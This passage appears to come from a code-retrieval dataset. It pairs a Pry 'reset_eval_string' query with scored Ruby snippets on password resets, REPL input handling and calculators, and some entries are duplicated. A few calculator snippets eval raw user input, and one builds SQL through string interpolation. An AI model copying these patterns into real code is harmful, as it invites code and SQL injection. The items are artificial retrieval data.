"text": "def send_password_reset\n generate_token(:password_reset_token)\n update_attributes!(password_reset_sent_at: Time.zone.now)\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "f991a3954abd11c166dad03ce6b4d9f0",
"score": "0.590447",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token #присваивается значение токена сброса пароля\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "66d1419e105194cc80a8bbec417c341c",
"score": "0.5900347",
"text": "def password_reset\n user = User.first \n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "66d1419e105194cc80a8bbec417c341c",
"score": "0.5900347",
"text": "def password_reset\n user = User.first \n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "68f5cf056b0a8d57a86a7f55a521bb70",
"score": "0.58816856",
"text": "def password_reset\n member = Member.first\n member.reset_token = Member.new_token\n MemberMailer.password_reset(member)\n end",
"title": ""
},
{
"docid": "cd7e5c57426dfa9b79db623f210b7804",
"score": "0.58780354",
"text": "def reset_password\n new_password = SecureRandom.hex(5)\n update_attributes!(:password => new_password )\n return new_password\n end",
"title": ""
},
{
"docid": "cf52f870c9a7d5f38096ca1c4d54c99b",
"score": "0.5873009",
"text": "def send_password_reset\n self.password_reset_sent_at = Time.now\n update_attribute(:password_reset_token, genrate_tokn(:password_reset_token) )\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "e269abaa15b92a9b74f507a7df3a9982",
"score": "0.5864715",
"text": "def reset_password(plain)\n self.password = hash_crypt(plain)\n end",
"title": ""
},
{
"docid": "5ccc58e77ac5025f389832b2b9664c0d",
"score": "0.5857497",
"text": "def send_password_reset\r\n # Generate password reset token\r\n self.password_reset_token = SecureRandom.urlsafe_base64\r\n # Set timestamp of when password reset was sent\r\n self.password_reset_sent_at = Time.zone.now\r\n # Do not run data validation upon saving the user\r\n save!(validate: false)\r\n # Notify the user that password reset instructions have been sent to their email\r\n UserMailer.password_reset(self).deliver\r\n end",
"title": ""
},
{
"docid": "4b4993eaaa9b38f6f3eb57700c767dab",
"score": "0.5856446",
"text": "def reset_password!(*args)\n self.legacy_password_hash = nil\n super\n end",
"title": ""
},
{
"docid": "7e1468db6358492e98e5364a60a4d531",
"score": "0.5855534",
"text": "def password_reset\n user = Volunteer.first\n user.reset_token = Volunteer.new_token\n VolunteerMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "7f99f68d41261c45aacf1cb3e81917b3",
"score": "0.58538",
"text": "def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "1fb87e46488a09374f6f5db21c61c4dc",
"score": "0.58428276",
"text": "def reset_password(*args)\n self.legacy_password = false\n super\n end",
"title": ""
},
{
"docid": "778496950e4831750daca39ed16e2a88",
"score": "0.5839193",
"text": "def reset_user_password\n temp_password = generate_password(20)\n User.update_all(\"activation_code = '#{temp_password}', recently_reset = 1, updated_at = '#{Time.now}'\", \"id = #{self.id}\")\n UserMailer.reset_password(self.id, temp_password).deliver\n end",
"title": ""
},
{
"docid": "5838d138f466423a7d14b1d164ce3aff",
"score": "0.5836297",
"text": "def set_password_digest()\n\t\tself.password_digest = Password.create(self.password)\n\tend",
"title": ""
},
{
"docid": "aea88f5fd79980a51865ee40bad49592",
"score": "0.58357185",
"text": "def reset\n self.reset_token = User.new_token\n self.update_attributes(reset_digest: User.digest(reset_token),\n reset_sent_at: Time.zone.now)\n end",
"title": ""
},
{
"docid": "8c9e70697aeeda1c81a5c8843eca90b1",
"score": "0.58289844",
"text": "def set_password=(new_password)\n self.password = Password.create(new_password)\n self.save\n end",
"title": ""
}
] |
bf7bd16e437e685716a5f0f79aa05c71 | Reset the current eval string. If the user has entered part of a multiline expression, this discards that input. source://pry//lib/pry/pry_instance.rb231 | [
{
"docid": "03938f4cd39f50af116d825935961403",
"score": "0.7574786",
"text": "def reset_eval_string; end",
"title": ""
}
] | [
{
"docid": "58332ec3dc88f312ec7f33e1a8c67a47",
"score": "0.7500878",
"text": "def reset_eval_string\n @eval_string = ''.dup\n end",
"title": ""
},
{
"docid": "fefead52080bc54c37131b530a49b1ed",
"score": "0.595222",
"text": "def clear_expression\n @input = \"\"\n @output.text = \"\"\n end",
"title": ""
},
{
"docid": "cb53ab1c5308673cbc3b57496ddda391",
"score": "0.59510815",
"text": "def r(target=TOPLEVEL_BINDING, eval_string=\"\")\n target = Pry.binding_for(target)\n @suppress_output = false\n\n loop do\n begin\n # eval_string will probably be mutated by this method\n retrieve_line(eval_string, target)\n rescue CommandError, Slop::InvalidOptionError, MethodSource::SourceNotFoundError => e\n output.puts \"Error: #{e.message}\"\n end\n\n begin\n break if Pry::Code.complete_expression?(eval_string)\n rescue SyntaxError => e\n exception_handler.call(output, e.extend(UserError), self)\n eval_string = \"\"\n end\n end\n\n if eval_string =~ /;\\Z/ || eval_string.empty? || eval_string =~ /\\A *#.*\\n\\z/\n @suppress_output = true\n end\n\n exec_hook :after_read, eval_string, self\n eval_string\n end",
"title": ""
},
{
"docid": "906510d2d0b8b678ae2920d4c74a08a8",
"score": "0.58331865",
"text": "def retrieve_line(eval_string, target)\n @indent.reset if eval_string.empty?\n\n current_prompt = select_prompt(eval_string, target)\n completion_proc = Pry.config.completer.build_completion_proc(target, self,\n instance_eval(&custom_completions))\n\n safe_completion_proc = proc{ |*a| Pry.critical_section{ completion_proc.call(*a) } }\n\n indentation = Pry.config.auto_indent ? @indent.current_prefix : ''\n\n begin\n val = readline(\"#{current_prompt}#{indentation}\", safe_completion_proc)\n\n # Handle <Ctrl+C> like Bash, empty the current input buffer but do not quit.\n # This is only for ruby-1.9; other versions of ruby do not let you send Interrupt\n # from within Readline.\n rescue Interrupt\n output.puts \"\"\n eval_string.replace(\"\")\n return\n end\n\n # invoke handler if we receive EOF character (^D)\n if !val\n output.puts \"\"\n Pry.config.control_d_handler.call(eval_string, self)\n return\n end\n\n # Change the eval_string into the input encoding (Issue 284)\n # TODO: This wouldn't be necessary if the eval_string was constructed from\n # input strings only.\n if should_force_encoding?(eval_string, val)\n eval_string.force_encoding(val.encoding)\n end\n\n if Pry.config.auto_indent && !input.is_a?(StringIO)\n original_val = \"#{indentation}#{val}\"\n indented_val = @indent.indent(val)\n\n if output.tty? && Pry::Helpers::BaseHelpers.use_ansi_codes? && Pry.config.correct_indent\n output.print @indent.correct_indentation(current_prompt, indented_val, original_val.length - indented_val.length)\n output.flush\n end\n else\n indented_val = val\n end\n\n # Check this before processing the line, because a command might change\n # Pry's input.\n interactive = !input.is_a?(StringIO)\n\n begin\n if !process_command(val, eval_string, target)\n eval_string << \"#{indented_val.chomp}\\n\" unless val.empty?\n end\n ensure\n Pry.history << indented_val if interactive\n end\n end",
"title": ""
},
{
"docid": "d7d9c77c3dce19771710a7a5d39b9b99",
"score": "0.57104856",
"text": "def back_from_eval(text)\n # if the window was closed while code was still executing,\n # we can just ignore the call because there is no need\n # to print the result and a new prompt\n return if @window_closed\n write text\n write_prompt\n end",
"title": ""
},
{
"docid": "d7d9c77c3dce19771710a7a5d39b9b99",
"score": "0.57104856",
"text": "def back_from_eval(text)\n # if the window was closed while code was still executing,\n # we can just ignore the call because there is no need\n # to print the result and a new prompt\n return if @window_closed\n write text\n write_prompt\n end",
"title": ""
},
{
"docid": "7b63bfae1a76e71fa198c99cff1980df",
"score": "0.5618007",
"text": "def repl\n loop do\n Input.read!\n evaluate(Input.buffer) if Input.complete?\n end\n rescue StandardError, SyntaxError => exception\n handle_exception(exception)\n ensure\n prompt!\n repl\n end",
"title": ""
},
{
"docid": "1a857f87e3b373fa29c47879ca626b91",
"score": "0.557523",
"text": "def resume_pry(context)\n new_binding = context.frame_binding(0)\n Debugger.stop unless @always_enabled\n\n @pry.binding_stack.clear\n run(false) do\n @pry.repl new_binding\n end\n end",
"title": ""
},
{
"docid": "083ddf5fd3bc3cd4776c9bdc0f1cbf6e",
"score": "0.5546227",
"text": "def reset\n @command = Shellwords.join(@initial_command)\n end",
"title": ""
},
{
"docid": "bf161b59d6b0f0330b168f0f5307d573",
"score": "0.5513701",
"text": "def select_prompt(eval_string, target)\n target_self = target.eval('self')\n\n open_token = @indent.open_delimiters.any? ? @indent.open_delimiters.last :\n @indent.stack.last\n\n c = OpenStruct.new(\n :object => target_self,\n :nesting_level => binding_stack.size - 1,\n :open_token => open_token,\n :session_line => Pry.history.session_line_count + 1,\n :history_line => Pry.history.history_line_count + 1,\n :expr_number => input_array.count,\n :_pry_ => self,\n :binding_stack => binding_stack,\n :input_array => input_array,\n :eval_string => eval_string,\n :cont => !eval_string.empty?)\n\n Pry.critical_section do\n # If input buffer is empty then use normal prompt\n if eval_string.empty?\n generate_prompt(Array(prompt).first, c)\n\n # Otherwise use the wait prompt (indicating multi-line expression)\n else\n generate_prompt(Array(prompt).last, c)\n end\n end\n end",
"title": ""
},
{
"docid": "f9791f0b5e25fb08db423ed4f0ae2544",
"score": "0.5434215",
"text": "def eval_input\n @scanner.set_prompt do\n |ltype, indent, continue, line_no|\n if ltype\n f = @context.prompt_s\n elsif continue\n f = @context.prompt_c\n elsif indent > 0\n f = @context.prompt_n\n else\n f = @context.prompt_i\n end\n f = \"\" unless f\n if @context.prompting?\n @context.io.prompt = p = prompt(f, ltype, indent, line_no)\n else\n @context.io.prompt = p = \"\"\n end\n if @context.auto_indent_mode\n unless ltype\n ind = prompt(@context.prompt_i, ltype, indent, line_no)[/.*\\z/].size +\n indent * 2 - p.size\n ind += 2 if continue\n @context.io.prompt = p + \" \" * ind if ind > 0\n end\n end\n end\n\n @scanner.set_input(@context.io) do\n signal_status(:IN_INPUT) do\n if l = @context.io.gets\n print l if @context.verbose?\n else\n if @context.ignore_eof? and @context.io.readable_after_eof?\n l = \"\\n\"\n if @context.verbose?\n printf \"Use \\\"exit\\\" to leave %s\\n\", @context.ap_name\n end\n else\n print \"\\n\"\n end\n end\n l\n end\n end\n\n @scanner.each_top_level_statement do |line, line_no|\n signal_status(:IN_EVAL) do\n begin\n line.untaint\n @context.evaluate(line, line_no)\n output_value if @context.echo?\n exc = nil\n rescue Interrupt => exc\n rescue SystemExit, SignalException\n raise\n rescue SyntaxError => exc\n raise exc unless @interactive\n rescue NameError => exc\n raise exc unless @interactive\n # HBASE-26880: Ignore NameError to prevent exiting Shell on mistyped commands.\n rescue Exception => exc\n # HBASE-26741: Raise exception so Shell::exception_handler can catch it.\n # This modifies this copied method from JRuby so that the HBase shell can\n # manage the exception and set a proper exit code on the process.\n raise exc\n end\n if exc\n if exc.backtrace && exc.backtrace[0] =~ /irb(2)?(\\/.*|-.*|\\.rb)?:/ && exc.class.to_s !~ /^IRB/ &&\n !(SyntaxError === exc)\n irb_bug = true\n else\n irb_bug = false\n end\n\n messages = []\n lasts = []\n levels = 0\n if exc.backtrace\n count = 0\n exc.backtrace.each do |m|\n m = @context.workspace.filter_backtrace(m) or next unless irb_bug\n m = sprintf(\"%9d: from %s\", (count += 1), m)\n if messages.size < @context.back_trace_limit\n messages.push(m)\n elsif lasts.size < @context.back_trace_limit\n lasts.push(m).shift\n levels += 1\n end\n end\n end\n attr = STDOUT.tty? ? ATTR_TTY : ATTR_PLAIN\n print \"#{attr[1]}Traceback#{attr[]} (most recent call last):\\n\"\n unless lasts.empty?\n puts lasts.reverse\n printf \"... %d levels...\\n\", levels if levels > 0\n end\n puts messages.reverse\n messages = exc.to_s.split(/\\n/)\n print \"#{attr[1]}#{exc.class} (#{attr[4]}#{messages.shift}#{attr[0, 1]})#{attr[]}\\n\"\n puts messages.map {|s| \"#{attr[1]}#{s}#{attr[]}\\n\"}\n print \"Maybe IRB bug!\\n\" if irb_bug\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4812ed66b484339915ce221839aaf359",
"score": "0.542357",
"text": "def apply_ruby_evaling!(str, keyname)\n if LINE_TYPES_ADD_EVAL.include?(@line_type)\n if @line_type == :tag\n scanner = StringScanner.new(str.dup)\n scanner.skip(TAG_REGEX)\n scanner.skip(TAG_CLASSES_AND_ID_REGEX)\n scanner.skip(TAG_ATTRIBUTES_REGEX)\n if scanner.scan_until(/[\\s]*#{Regexp.escape(keyname)}/)\n unless already_evaled?(scanner.pre_match)\n str[0..-1] = \"#{scanner.pre_match}=#{scanner.matched}#{scanner.post_match}\"\n end\n end\n elsif @line_type == :plain || (@line_type == :script && !already_evaled?(full_line))\n str.gsub!(str, \"= \"+str)\n end\n end\n end",
"title": ""
},
{
"docid": "a8913b26d04a0f9c308830ef4ae79597",
"score": "0.54223865",
"text": "def reset\n @final_string = \"\"\n @i = 0\n @exit = false\n end",
"title": ""
},
{
"docid": "5c059b46980522ca4e56141b53980fd8",
"score": "0.5388344",
"text": "def restore_passthroughs(text)\n return text if @passthroughs.nil? || @passthroughs.empty? || !text.include?(\"\\e\")\n\n text.gsub(REGEXP[:pass_placeholder]) {\n pass = @passthroughs[$1.to_i];\n text = apply_subs(pass[:text], pass.fetch(:subs, []))\n pass[:literal] ? Inline.new(self, :quoted, text, :type => :monospaced, :attributes => pass.fetch(:attributes, {})).render : text\n }\n end",
"title": ""
},
{
"docid": "61eeb66d79f855342c7ee3abc0072457",
"score": "0.53748",
"text": "def resume_pry(context)\n new_binding = context.frame_binding(0)\n\n run(false) do\n if @pry\n @pry.repl(new_binding)\n else\n @pry = Pry.start_without_pry_byebug(new_binding)\n end\n end\n end",
"title": ""
},
{
"docid": "28fb1f5dd20205d4f2026184e22bb2fa",
"score": "0.53614867",
"text": "def reset\n @in_literal = false\n @current_indent = 0\n @new_indent = 0\n @b_count = 0\n @output = ''\n end",
"title": ""
},
{
"docid": "09691b1c0465e157c91c697dcaef5fb9",
"score": "0.53476155",
"text": "def console_eval(string)\n string.split(\"\\n\").each {|e| Readline::HISTORY << e }\n IRB.CurrentContext.workspace.evaluate(self, string)\n end",
"title": ""
},
{
"docid": "dcdfc75b8133d892e455c5c85ff4081a",
"score": "0.53281856",
"text": "def restore_pry_defaults\n Pry.config.default_window_size = 15\n Pry.config.quiet = false\n Pry.prompt = Pry::DEFAULT_PROMPT\n Pry.config.hooks.delete_hook :before_eval, :self_terminate\nend",
"title": ""
},
{
"docid": "5b509f91d65f23e360920530dcb56b3e",
"score": "0.53060853",
"text": "def reset_line(text = \"\")\n # Initialise ANSI escape string\n escape = \"\"\n\n # Get terminal window width\n cols = console_columns\n\n # The number of lines the previous message spanned\n lines = @@prev / cols\n\n # If cols == 80 and @@prev == 80, @@prev / cols == 1 but we don't want to\n # go up an extra line since it fits exactly\n lines -= 1 if @@prev % cols == 0\n\n # Clear and go up a line\n lines.times { escape += \"#{ESC_R_AND_CLR}#{ESC_UP_A_LINE}\" }\n\n # Clear the line that is to be printed on\n escape += \"#{ESC_R_AND_CLR}\"\n\n # Console is clear, we can print!\n $console.print \"#{escape}#{text}\"\n\n # Store the current message so we know how many lines it spans\n @@prev = text.to_s.length\n end",
"title": ""
},
{
"docid": "68adc3b7981399a056853c274d63111b",
"score": "0.5298414",
"text": "def solicit_multiline_input\n @output.puts %(Input RPN expression. Type \"=\" and hit return to submit.)\n @output.flush\n\n loop do\n expression = @input.gets(\"=\\n\").to_s.chomp(\"=\\n\").split\n\n unless expression.empty?\n valid_input = parse_input(expression)\n\n if valid_input\n @output.puts valid_input\n\n return valid_input\n end\n end\n\n @output.puts %(\\nError! Only valid operations and numbers allowed!)\n @output.puts %(Input RPN expression. Type \"=\" and hit return to submit.)\n @output.flush\n end\n end",
"title": ""
},
{
"docid": "e65c1de5a773277bdbbb5a18fb7c3a05",
"score": "0.52179146",
"text": "def interpreter_reset\r\n @data_stack = Array.new\r\n self\r\n end",
"title": ""
},
{
"docid": "33b211ddaf4dbba9cef8ca4d180e7ff0",
"score": "0.5208901",
"text": "def silent_eval(str, binding = frame._binding)\n safe_eval(str, binding) { |_e| nil }\n end",
"title": ""
},
{
"docid": "4360af4a0633c8d0ad08875193bf229e",
"score": "0.5199543",
"text": "def test_set_evaluation_4\n\t\ttester = TheRepl.new()\n\t\tassert_output(\"Line 6789: Operator * applied to an empty stack\\n\") { tester.set_evaluation('*', [], 6789, false) }\n\t\tassert_equal false, tester.set_evaluation('*', [], 6789, false)\n\tend",
"title": ""
},
{
"docid": "bbbb6c2a6441efed9dd923b67d53abe5",
"score": "0.51958823",
"text": "def reset\n @backtrace = ''\n @error = ''\n @exec_time = 0\n @output = ''\n @status = :not_executed\n end",
"title": ""
},
{
"docid": "fc2ead295fa81f9fa9e2ad8e877ca9d5",
"score": "0.5193573",
"text": "def reset_printer\n @output << \"^@\\n\"\n @output\n end",
"title": ""
},
{
"docid": "5eaacaa9c5fa8da976198ce493658064",
"score": "0.51849735",
"text": "def console_eval(string)\n string.split(\"\\n\").each {|e| Readline::HISTORY << e }\n eval(string)\n end",
"title": ""
},
{
"docid": "71bd7dbf8d8236b31e28e3dab184529f",
"score": "0.5179136",
"text": "def console_eval(string)\n string.split(\"\\n\").each {|e| Readline::HISTORY << e }\n eval(string)\n end",
"title": ""
},
{
"docid": "aedf4519403a394fe5e8798935776381",
"score": "0.5165961",
"text": "def reset\n @backtrace = \"\"\n @exec_time = 0\n @output = \"\"\n @error = \"\"\n @status = :not_executed\n end",
"title": ""
},
{
"docid": "3421db3d9cc6f080f7a6992d06a4e917",
"score": "0.5158652",
"text": "def run_pry\n binding.pry\n\n # the seemingly useless line below is needed to avoid pry's exiting\n # (see https://github.com/deivid-rodriguez/pry-byebug/issues/45)\n _a = nil\n end",
"title": ""
},
{
"docid": "3421db3d9cc6f080f7a6992d06a4e917",
"score": "0.5158652",
"text": "def run_pry\n binding.pry\n\n # the seemingly useless line below is needed to avoid pry's exiting\n # (see https://github.com/deivid-rodriguez/pry-byebug/issues/45)\n _a = nil\n end",
"title": ""
},
{
"docid": "dece8044364415bfd32b6ba95543a9d7",
"score": "0.5147952",
"text": "def reset\r\n @exec_time=0\r\n @output=\"\"\r\n @error=\"\"\r\n @status=:not_executed\r\n end",
"title": ""
},
{
"docid": "ef642365079a0e0f4417768e1cce77b3",
"score": "0.51466286",
"text": "def eval_command_line_input(input)\n if input.first == \"answers\"\n input.clear\n add_answer\n else\n input.clear\n welcome\n end\n \nend",
"title": ""
},
{
"docid": "556a4149416ba86a7366da1894e93966",
"score": "0.51421475",
"text": "def refresh\n lines = @question.scan(\"\\n\").length + @choices.length + 2\n @prompt.print(@prompt.clear_lines(lines))\n @prompt.print(@prompt.cursor.clear_screen_down)\n end",
"title": ""
},
{
"docid": "15d5d4c51f788d1b9eedbff5e82e3e58",
"score": "0.51281416",
"text": "def reset()\n @lineno = 1\n\t\t@line_offset = 0\n @token_pos = 0\n end",
"title": ""
},
{
"docid": "262edd6612ffc75b4af0b9196d4737fe",
"score": "0.51230824",
"text": "def prompt=(new_prompt); end",
"title": ""
},
{
"docid": "262edd6612ffc75b4af0b9196d4737fe",
"score": "0.51230824",
"text": "def prompt=(new_prompt); end",
"title": ""
},
{
"docid": "4e230a50d5c092f06e08b734e5f40357",
"score": "0.5116243",
"text": "def _replace_reset_command\n _pry_commands.command \"reset\", \"Reset the Guard to a clean state.\" do\n output.puts \"Guard reset.\"\n exec \"guard\"\n end\n end",
"title": ""
},
{
"docid": "7d758ecf52b7fb13dd614adda1e38f8e",
"score": "0.5090032",
"text": "def repl\n postfix = Postfix.new\n\n puts \"Type q to quit.\"\n while true\n print \"> \"\n expression = gets.chomp\n if expression == \"q\" || expression == \"quit\"\n break\n end\n postfix.process_expression(expression)\n end\nend",
"title": ""
},
{
"docid": "f48340512aae061f97389c957aab6756",
"score": "0.5072088",
"text": "def gets\n unless @line.empty?\n \treturn @line.shift\n end\n\n @reidline.init_editor\n\n begin\n\tif l = @reidline.get_lines(@prompt)\n\t @line = l.split(\"\\n\").collect{|e| e+\"\\n\"}\n\t @line.shift\n\telse\n\t @eof = true\n\t l\n\tend\n rescue Interrupt\n\traise\n end\n end",
"title": ""
},
{
"docid": "13a9b1b68ca10996d4be04e9d6a23bb8",
"score": "0.50663346",
"text": "def reset_line(ln=nil)\n @ln = ln || (@ln||-1)+1\n @indent = ''\n @line_tokens = []\n @is_code = false\n end",
"title": ""
},
{
"docid": "2f7014bab55c1c2babe3f3e1da91b099",
"score": "0.5060157",
"text": "def replace\n find_expression\n find_head_length_tail\n if (@input[@arg_head] == \"(\" && @input[@arg_tail] == \")\")\n @calculation = \"(\" + @calculation.to_s + \")\"\n end\n @input.gsub!(@calculation, evaluator.to_s)\n end",
"title": ""
},
{
"docid": "04a394d0511957bf91bb37c5b97e69a1",
"score": "0.5057588",
"text": "def reset_line\r\n @indentation = 0\r\n @name = nil\r\n @type = TYPE_EMPTY\r\n @value = nil\r\n end",
"title": ""
},
{
"docid": "9715f3637bbe20a5b8ddd5a1a9310f95",
"score": "0.5056937",
"text": "def reset!\n self.following.clear\n self.error_recovery = false\n self.last_error_index = -1\n self.backtracking = 0\n self.rule_memory and rule_memory.clear\n self.syntax_errors = 0\n self.token = nil\n self.token_start_position = -1\n self.token_start_line = nil\n self.token_start_column = nil\n self.channel = nil\n self.type = nil\n self.text = nil\n end",
"title": ""
},
{
"docid": "07556a8195d8d9efdbde81ae3bcf8db5",
"score": "0.5053437",
"text": "def debug_silent_eval(str)\n begin\n eval(str, get_binding)\n rescue StandardError, ScriptError\n nil\n end\n end",
"title": ""
},
{
"docid": "8d8da5a34204abc2e48be799ec9cc22b",
"score": "0.5050457",
"text": "def reset; escape 0; end",
"title": ""
},
{
"docid": "bf032e42d55a5e87128f46c3a80ac7a3",
"score": "0.5049813",
"text": "def reset_line(text = \"\")\n print \"\\r#{CLR}#{text}\"\n end",
"title": ""
},
{
"docid": "3cfaf97fd07838fa2045e3230e9fbb2c",
"score": "0.50218076",
"text": "def reset!(expression, replace = false)\n @expression.replace(expression) if replace\n @expression = expression\n @current = expression\n @values = (Cons === expression) ? expression.clone : nil\n @complete = false\n end",
"title": ""
},
{
"docid": "3cfaf97fd07838fa2045e3230e9fbb2c",
"score": "0.50218076",
"text": "def reset!(expression, replace = false)\n @expression.replace(expression) if replace\n @expression = expression\n @current = expression\n @values = (Cons === expression) ? expression.clone : nil\n @complete = false\n end",
"title": ""
},
{
"docid": "5456b17c213d40a89bb1225fc2b21272",
"score": "0.5019672",
"text": "def prompt(str)\n print str unless $replay\nend",
"title": ""
},
{
"docid": "c3dbc0f3c04348ae5ac32a5fe161c77e",
"score": "0.5015734",
"text": "def reset\n @commands = @command = @global_command = @errors = nil\n end",
"title": ""
},
{
"docid": "26132aee2601c146c60737365b1743dc",
"score": "0.50133896",
"text": "def eval_string; end",
"title": ""
},
{
"docid": "26132aee2601c146c60737365b1743dc",
"score": "0.50133896",
"text": "def eval_string; end",
"title": ""
},
{
"docid": "26132aee2601c146c60737365b1743dc",
"score": "0.50133896",
"text": "def eval_string; end",
"title": ""
},
{
"docid": "26132aee2601c146c60737365b1743dc",
"score": "0.50133896",
"text": "def eval_string; end",
"title": ""
},
{
"docid": "86d1f22da8292dd64a463b36a5f6aeb8",
"score": "0.50096476",
"text": "def repl prompt='lisby> '\n global_env = add_globals Env.new\n while true\n print prompt\n val = evaluate read( gets.chomp ), global_env\n unless val.nil?\n puts to_string val\n end\n end\nend",
"title": ""
},
{
"docid": "1442d45e3b789f70bd8dcedfeaf013bd",
"score": "0.4980384",
"text": "def finalize_string\n if @undo_stack && !@undo_stack.empty?\n self.replace(@undo_stack[0])\n end\n\n if defined?(@undo_stack)\n remove_instance_variable(:@undo_stack)\n end\n end",
"title": ""
},
{
"docid": "a42f1e570a900908c740533e47ece321",
"score": "0.4979357",
"text": "def eval_expression\n @input = eval(@input.to_s).to_s\n #@input.sub!(/.[0*]+/, \"\")\n @output.text = @input\n end",
"title": ""
},
{
"docid": "4501066d5bb8942b8d9e8ecb55a1ebc0",
"score": "0.49769935",
"text": "def set_empty!\r\n @next_repeat = nil\r\n @parsed_str = nil\r\n self\r\n end",
"title": ""
},
{
"docid": "7956401a742492d8bacfaaa3adc744b6",
"score": "0.49758953",
"text": "def reset_answer\n self.answer_text = ''\n save\n acting_as\n end",
"title": ""
},
{
"docid": "7956401a742492d8bacfaaa3adc744b6",
"score": "0.49758953",
"text": "def reset_answer\n self.answer_text = ''\n save\n acting_as\n end",
"title": ""
},
{
"docid": "e868a271d616138680e6289ffe3ea9fb",
"score": "0.49691364",
"text": "def eval_input input\n return super if SqueezeHistory.disabled?\n history.pop if input.strip == '' ||\n (history.size > 1 && input == history.to_a[-2])\n # EditLine is really broken, to_a is needed for it\n super\n end",
"title": ""
},
{
"docid": "bccbd0ebb015d1688dbe0e8512894b49",
"score": "0.4968334",
"text": "def interpreter_reset\r\n @data_stack = Array.new\r\n @ctrl_stack = Array.new\r\n end",
"title": ""
},
{
"docid": "a66fb2a0ca6736ef5b3f1f09c72b1f66",
"score": "0.49526167",
"text": "def multiline_reset_flush\n @multiline_flush_thread.wakeup\n end",
"title": ""
},
{
"docid": "be9f2c10878a09aff61c093237b59224",
"score": "0.4936636",
"text": "def pop_prompt; end",
"title": ""
},
{
"docid": "be9f2c10878a09aff61c093237b59224",
"score": "0.4936636",
"text": "def pop_prompt; end",
"title": ""
},
{
"docid": "55e07558d60cfc54ccfac370b99417c8",
"score": "0.49262717",
"text": "def reset(str = \"\")\n @ansi_reset ||= format(\"%c[0m\", 27)\n \"#{@ansi_reset}#{str}\"\n end",
"title": ""
},
{
"docid": "a0f79e085d7b5086fe852938d51d5c42",
"score": "0.49248278",
"text": "def eval_expression\n @input = eval(@input).to_s #runs the input and converts it to a string\n @output.text = @input #sets output text to the input\n end",
"title": ""
},
{
"docid": "a79f4ba78e681c3edd4974e41741de71",
"score": "0.49105716",
"text": "def reset(str = \"\")\n @ansi_reset ||= \"%c[0m\" % 27\n \"#{@ansi_reset}#{str}\"\n end",
"title": ""
},
{
"docid": "5cf443e53325444be5ed874737db01fb",
"score": "0.49050382",
"text": "def remove_new_lines(expression)\n expression.gsub(/\\R+/, '')\n end",
"title": ""
},
{
"docid": "d178f5850735ab6b727a30f175f99ba5",
"score": "0.49029332",
"text": "def reset\n @out = \"\"\n end",
"title": ""
},
{
"docid": "bcfb47b3f2642fd14627a654dc3ead8c",
"score": "0.4901015",
"text": "def test_evaluate_expression_2\n\t\ttester = TheRepl.new()\n\t\tdef tester.set_evaluation(token, eval, line, fread); nil; end\n\t\tassert_output(\"Could not evaluate expression\\n\") { tester.evaluate_expression(['1'], 1, false) }\n\t\tassert_nil tester.evaluate_expression(['1'], 1, false)\n\tend",
"title": ""
},
{
"docid": "408479833216069b894c9add3a751d2b",
"score": "0.48985335",
"text": "def reset\n @in_literal = false\n @templateless_literal = false\n @current_indent = 0\n @b_count = 0\n @output = ''\n @encoder = HTMLEntities.new\n @source_map = {}\n end",
"title": ""
},
{
"docid": "5d5cbfa9e4bafc012b8f2262bd859ae4",
"score": "0.48829114",
"text": "def repl\r\n setup\r\n signal_handle\r\n eval_input\r\n end",
"title": ""
},
{
"docid": "777d44202265fee4a3c614ea92a0cfaa",
"score": "0.4871657",
"text": "def clear_last_prompt()\n execute_step(\"_sahi._clearLastPrompt()\")\n end",
"title": ""
},
{
"docid": "777d44202265fee4a3c614ea92a0cfaa",
"score": "0.4871657",
"text": "def clear_last_prompt()\n execute_step(\"_sahi._clearLastPrompt()\")\n end",
"title": ""
},
{
"docid": "19b70f840122d8c63c350a718c7a9867",
"score": "0.4868209",
"text": "def prompt( text )\n\t\ttext.gsub!(\"\\n\", ' ')\n\t\treplace( \"#{@lines-1}.end\", \"#{@lines}.end\", text )\n\tend",
"title": ""
},
{
"docid": "40b4d4ecc6d97e72fe92b242a73f8546",
"score": "0.48646325",
"text": "def non_interactive_mode(pry_instance, content); end",
"title": ""
},
{
"docid": "40b4d4ecc6d97e72fe92b242a73f8546",
"score": "0.48646325",
"text": "def non_interactive_mode(pry_instance, content); end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48635724",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "12af868fbccfb1f7920284b51d97beca",
"score": "0.48621148",
"text": "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"title": ""
},
{
"docid": "53f76166fe5a6758bb5f2cead3eacaf0",
"score": "0.4852504",
